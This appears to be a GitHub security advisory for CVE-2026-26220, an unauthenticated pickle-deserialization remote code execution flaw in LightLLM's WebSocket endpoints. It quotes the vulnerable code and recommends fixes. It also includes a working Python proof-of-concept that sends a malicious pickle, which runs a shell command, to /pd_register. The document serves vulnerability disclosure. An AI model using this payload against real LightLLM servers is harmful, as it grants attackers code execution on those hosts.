-
Notifications
You must be signed in to change notification settings - Fork 301
Description
Summary
LightLLM's PD (prefill-decode) disaggregation system contains a critical unauthenticated Remote Code Execution vulnerability caused by unsafe pickle.loads() on data received from WebSocket connections with no authentication.
CVE: CVE-2026-26220
CVSS 4.0: 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
CWE: CWE-502 - Deserialization of Untrusted Data
Prior Reports and Inaction
This is not the first time unsafe deserialization has been reported to this project:
- [BUG]通过 zmq.Socket.recv_pyobj 进行的隐式 Pickle 反序列化导致远程代码执行 (RCE) #784 (March 2025): Reported
pickle.loads()via ZMQrecv_pyobj()in multi-node mode. A collaborator responded "we will try to fix this soon". 11 months later, the issue is still open and unfixed. - No response to security vulnerability report submitted to GitHub Security #1102 (November 2025): A separate researcher opened a public issue because their GitHub Security report was ignored for over a month.
- PR [fix]rpyc pickle #979 "[fix] rpyc pickle" (July 2025): Merged, but only touches
embed_cache/manager.py. The WebSocketpickle.loads()calls inapi_http.pyremain untouched.
Due to this pattern of inaction on security reports, this vulnerability is now tracked as CVE-2026-26220 assigned by VulnCheck.
The WebSocket endpoints reported here (/pd_register, /kv_move_status) are a different attack surface from the ZMQ issue in #784, but the root cause is identical: unsafe pickle.loads() on untrusted network input.
Affected Versions
- LightLLM <= 1.1.0
Vulnerable Code
/pd_register endpoint (api_http.py line 310)
@app.websocket("/pd_register")
async def register_and_keep_alive(websocket: WebSocket):
await websocket.accept()
...
try:
while True:
data = await websocket.receive_bytes()
obj = pickle.loads(data) # <-- RCE: no validation
await g_objs.httpserver_manager.put_to_handle_queue(obj)/kv_move_status endpoint (api_http.py line 331)
@app.websocket("/kv_move_status")
async def kv_move_status(websocket: WebSocket):
await websocket.accept()
...
try:
while True:
data = await websocket.receive_bytes()
upkv_status = pickle.loads(data) # <-- RCE: no validationWorker PD loop (pd_loop.py line 106)
while True:
recv_bytes = await websocket.recv()
obj = pickle.loads(recv_bytes) # <-- RCE: no validationConfig server response (pd_loop.py line 186)
base64data = response.json()["data"]
id_to_pd_master_obj = pickle.loads(base64.b64decode(base64data)) # <-- RCE via config serverAttack Vector
The PD master enforces that the host is NOT localhost:
assert manager.args.host not in ["127.0.0.1", "localhost"]This means the WebSocket endpoints are always network-exposed by design. No authentication is required to connect. Any network-reachable attacker can:
- Open a WebSocket connection to
/pd_registeror/kv_move_status - Send a crafted pickle payload containing an arbitrary command
- The server deserializes it via
pickle.loads(), executing the embedded code
Proof of Concept
import pickle, os, json, asyncio, websockets
class RCE:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
async def exploit(target):
async with websockets.connect(f'{target}/pd_register') as ws:
# Step 1: Send required JSON registration (text frame)
await ws.send(json.dumps({
"node_id": 9999,
"client_ip_port": "127.0.0.1:9999",
"mode": "prefill",
"start_args": {},
}))
# Step 2: Send malicious pickle (binary frame) -> pickle.loads() = RCE
await ws.send(pickle.dumps(RCE()))
asyncio.run(exploit('ws://TARGET:8000'))Confirmed Result
uid=1000(user) gid=1001(user) groups=1001(user),27(sudo),128(docker)
RCE confirmed on both /pd_register and /kv_move_status endpoints.
Affected Deployments
Any LightLLM instance running in PD disaggregation mode (--run_mode prefill, --run_mode decode, or --run_mode pd_master).
Recommended Fix
- Replace
pickle.loads()with a safe serialization format (JSON, MessagePack, protobuf) for all inter-node WebSocket communication - Add authentication to WebSocket endpoints (token-based, TLS client certs)
- If pickle is required for internal IPC, implement HMAC-based message signing and restrict WebSocket connections via authentication
References
- Full writeup: https://chocapikk.com/posts/2026/lightllm-pickle-rce/
- Identical vulnerability class in vLLM: CVE-2025-32444 (CVSS 9.8-10.0)
- Prior ZMQ report (unfixed after 11 months): [BUG]通过 zmq.Socket.recv_pyobj 进行的隐式 Pickle 反序列化导致远程代码执行 (RCE) #784
- Ignored security report: No response to security vulnerability report submitted to GitHub Security #1102